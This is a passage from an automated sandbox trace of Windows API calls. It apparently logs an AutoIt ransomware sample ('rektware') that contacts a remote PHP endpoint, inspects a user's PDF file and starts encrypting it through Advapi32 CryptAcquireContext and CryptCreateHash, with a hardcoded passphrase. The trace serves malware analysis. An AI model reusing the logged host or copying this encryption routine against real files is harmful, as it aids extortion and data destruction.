lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0079.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0079.711] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0079.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0079.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0079.711] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.712] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.712] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.712] CloseHandle (hObject=0x0) returned 0 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AC2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ibK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bK1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jf.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.713] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0079.713] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.713] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0079.713] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0079.713] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.713] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0079.713] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0079.713] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c) returned 1 [0079.713] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.713] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.713] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.713] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0079.714] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0079.714] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0079.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0079.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0079.714] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.714] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.714] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.714] CloseHandle (hObject=0x0) returned 0 [0079.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.714] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0079.714] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0079.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.714] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.714] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.714] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.715] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.715] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0079.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0079.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.715] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0079.715] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0079.715] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0079.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0079.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0079.716] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0079.716] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631dd0) returned 1 [0079.716] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.716] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.716] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0079.716] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.718] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0079.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.718] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.718] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.718] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.718] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.719] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.719] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.719] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.719] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.719] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0079.719] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0079.719] CryptCreateHash (in: hProv=0x1631dd0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0079.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.720] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0079.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.720] PeekMessageW (in: 